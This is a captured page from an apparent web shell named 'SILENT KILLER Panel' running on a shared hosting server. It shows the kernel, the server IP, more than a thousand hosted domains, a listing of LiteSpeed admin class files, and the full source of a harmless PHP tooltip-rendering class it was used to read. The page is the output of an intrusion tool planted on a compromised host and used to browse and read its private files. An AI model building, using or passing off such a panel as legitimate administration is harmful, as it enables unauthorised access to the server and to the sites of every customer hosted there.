SILENT KILLERPanel

Current Path: > > usr > local > lsws > > admin > html > > classes


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //usr/local/lsws//admin/html//classes

NameTypeSizeLast ModifiedActions
ws Directory - -
CValidation.php File 27286 bytes August 02 2025 14:49:07.
ConfData.php File 860 bytes August 02 2025 14:49:07.
ConfigFile.php File 14204 bytes August 02 2025 14:49:07.
ConfigFileEx.php File 4794 bytes August 02 2025 14:49:07.
CustStatusCode.php File 2238 bytes August 02 2025 14:49:07.
DATTR_HELP.php File 773 bytes August 02 2025 14:49:07.
DATTR_HELP_ITEM.php File 2595 bytes August 02 2025 14:49:07.
DAttrBase.php File 12722 bytes August 02 2025 14:49:07.
DFileSect.php File 582 bytes August 02 2025 14:49:07.
DPage.php File 3842 bytes August 02 2025 14:49:07.
DTbl.php File 17945 bytes August 02 2025 14:49:07.
DUtil.php File 4319 bytes August 02 2025 14:49:07.
DispInfo.php File 4463 bytes August 02 2025 14:49:07.
GUIBase.php File 3333 bytes August 02 2025 14:49:07.
PathTool.php File 3087 bytes August 02 2025 14:49:07.
XmlTreeBuilder.php File 3344 bytes August 02 2025 14:49:07.
blowfish.php File 26293 bytes August 02 2025 14:49:07.
jCryption.php File 16299 bytes August 02 2025 14:49:07.

Reading File: //usr/local/lsws//admin/html//classes/DATTR_HELP_ITEM.php

<?php

class DATTR_HELP_ITEM
{
	private $name;
	private $desc;
	private $tips;
	private $syntax;
	private $example;

	function __construct($name, $desc, $tips = NULL, $syntax = NULL, $example = NULL) {

		$this->name = $name;
		$this->desc = $desc;
		$this->tips = str_replace('<br>', '<br/>', $tips);
		$this->syntax = $syntax;
		$this->example = $example;
	}

	function render($key, $blocked_reason='')
	{
		$key = str_replace(array(':','_'), '', $key );
		$buf = '<img class="xtip-hover-' . $key . '" src="/static/images/icons/help.png">'
			. '<div id="xtip-note-' . $key . '" class="snp-mouseoffset notedefault"><b>'
			. $this->name
			. '</b>' ;
        if ($blocked_reason) {
            $buf .= " <i>$blocked_reason</i>";
        }
		$buf .= '<hr size=1 color=black>'
			. $this->desc
			. '<br><br>';
		if ($this->syntax) {
			$buf .= '<strong>Syntax:</strong> '
				. $this->syntax
				. '<br><br>';
		}
		if ($this->example) {
			$buf .= '<strong>Example:</strong> '
				. $this->example
				. '<br><br>';
		}
		if ($this->tips) {
			$buf .= '<strong>Tip(s):</strong><ul type=circle>';
			$tips = explode('<br/>', $this->tips);
			foreach($tips as $ti) {
				$ti = trim($ti);
				if ($ti != '')
					$buf .= '<li>' . $ti . '</li>';
			}
			$buf .= '</ul>';
		}

		$buf .= '</div>';
		return $buf;
	}


	function render0($key, $blocked_version=0)
	{
		$key = str_replace(array(':','_'), '', $key );
		$buf = '<img class="xtip-hover-' . $key . '" src="/static/images/icons/help.png">'
			. '<div id="xtip-note-' . $key . '" class="snp-mouseoffset notedefault"><b>'
			. $this->name
			. '</b>' ;
		switch ($blocked_version) {
			case 0: break;
			case 1:  // LSWS ENTERPRISE;
				$buf .= ' <i>This feature is available in Enterprise Edition</i>';
				break;
			case 2: // LSWS 2CPU +
			case 3: // LSLB 2CPU +
				$buf .= ' <i>This feature is available for Multiple-CPU license</i>';
				break;
			//case 4: // NCPU
			//	$buf .= ' <i>This feature is available for Unlimited-CPU license</i>';
			//	break;
		}
		$buf .= '<hr size=1 color=black>'
			. $this->desc
			. '<br><br>';
		if ($this->syntax) {
			$buf .= '<strong>Syntax:</strong> '
				. $this->syntax
				. '<br><br>';
		}
		if ($this->example) {
			$buf .= '<strong>Example:</strong> '
				. $this->example
				. '<br><br>';
		}
		if ($this->tips) {
			$buf .= '<strong>Tip(s):</strong><ul type=circle>';
			$tips = explode('<br/>', $this->tips);
			foreach($tips as $ti) {
				$ti = trim($ti);
				if ($ti != '')
					$buf .= '<li>' . $ti . '</li>';
			}
			$buf .= '</ul>';
		}

		$buf .= '</div>';
		return $buf;
	}

}


SILENT KILLER Tool